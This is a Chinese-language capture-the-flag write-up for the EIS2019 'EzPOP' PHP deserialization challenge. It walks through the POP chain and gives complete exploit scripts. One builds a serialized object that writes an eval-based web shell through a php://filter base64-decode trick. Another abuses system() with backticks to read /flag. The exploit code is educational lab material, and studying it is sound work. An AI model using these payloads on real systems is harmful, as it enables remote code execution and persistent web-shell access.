[EIS2019]EzPOP--反序列化题目

目录

上代码,开搞

逆向数据流分析

$data链

$filename链

POC1

正向函数调用分析

绕过exit()

利用base64编码,拼接掉前面的exit  

完整POC:

使用反引号绕过


题目地址:https://buuoj.cn/challenges#[EIS%202019]EzPOP

上代码,开搞

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

逆向数据流分析

发现代码中可利用点只有file_put_contents($filename, $data) ,所以我们从它开始倒推

我们需要分别找到$data的链和$filename的链

$data链

使options['data_compress']=false,不让$data压缩

data来自value,$data = $this->serialize($value);,

使options['serialize']=trim,这样serialize就变成trim函数了

serialize($value)为要写入的内容,由set传入

set由A的save调用,$this->store->set($this->key, $contents, $this->expire); 让$this->store = $b;才能调用set方法

value由$contents传入,分析$contents,$contents = $this->getForStorage();

进入getForStorage方法:返回值由$cleaned($this->cache控制), $this->complete控制,这里$this->cache有过滤,让$this->cache=array() ,并使$a->complete=payload

使$a->autosave=false,析构方法调用save方法

$filename链

在B的set中$filename = $this->getCacheKey($name);$name为set的参数1

getCacheKey中给name加了前缀,$this->options['prefix'] . $name,让$b->options['prefix']=文件名

save中$this->store->set($this->key, $contents, $this->expire);

总结,$a->key=.php,b->options['prefix']=要访问的文件名

POC1

给出目前的POC(注意:目前还不能得到flag,下文分析)

<?php
class A {
    protected $store;
    protected $key;
    protected $expire;

	public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }
}

class B {
}

$b = new B();
$b->options['data_compress']=false;
$b->options['serialize']='trim';
$b->options['prefix']='shell';


$a = new A($b,'.php',null);
$a->autosave=false;
$a->cache=array();
$a->complete='<?php phpinfo();?>';

echo urlencode(serialize($a));
?>

正向函数调用分析

我们再正向来一遍(加粗的使函数,标红的是数据)

入口函数是__destruct()$a->autosavefalse,进入if分支,调用save方法。

$contents 为getForStorage()的返回值

进入getForStorage()方法,$a->completepayload,返回{,payload}

此时$contents={,payload}$a->key=.php$a->store=$b

调用b的set方法,$b->set('.php',payload,null)

进入b的set方法

调用getExpireTime$expire=0

调用getCacheKey$filename=shell.php

后面又调用serialize方法,进入发现返回b->options['serialize'](data),也就是说b->options['serialize']是一个函数名,用来处理data,这里为trim()不影响data

b->options['data_compress']false,不进入if分支

此时$data=<?php\n//000000000000\n exit();?>\npayload

最后file_put_contentsdata写入shell.php

绕过exit()

我们在本地测试,发现payload能写入shell.php,但是前面有exit(),不能执行

利用base64编码,拼接掉前面的exit  

$b = new B();
$b->options['data_compress']=false;
$b->options['serialize']='trim';
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/shell';


$a = new A($b,'.php',null);
$a->autosave=false;
$a->cache=array();
$a->complete='aaa'.base64_encode('<?php @eval($_POST["shell"]);?>');

echo urlencode(serialize($a));

完整POC:

<?php
class A {
    protected $store;
    protected $key;
    protected $expire;

	public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }
}

class B {
}

$b = new B();
$b->options['data_compress']=false;
$b->options['serialize']='trim';
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/shell';


$a = new A($b,'.php',null);
$a->autosave=false;
$a->cache=array();
$a->complete='aaa'.base64_encode('<?php @eval($_POST["shell"]);?>');

echo urlencode(serialize($a));
?>

使用反引号绕过

参考自https://www.sec-in.com/article/333

$b = new B();
$b-&gt;writeTimes = 0;
$b -&gt; options = array('serialize' =&gt; "system",
    'data_compress' =&gt; false,
    'prefix' =&gt; "b");

$a = new A($store = $b, $key = ".php", $expire = 0);
$a-&gt;autosave = false;
$a-&gt;cache = array();
$a-&gt;complete = '`cat /flag &gt; ./flag.php`';

echo urlencode(serialize($a));

相当于

system('[[],"`cat /flag &gt; ./flag.php`"]')

在shell里执行的时候 反引号 的优先级是高于引号的,所以会先执行cat /flag > ./flag.php,flag就被写到flag.php里面去了

来自ctf小菜鸡的日常分享,欢迎各位大佬留言。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值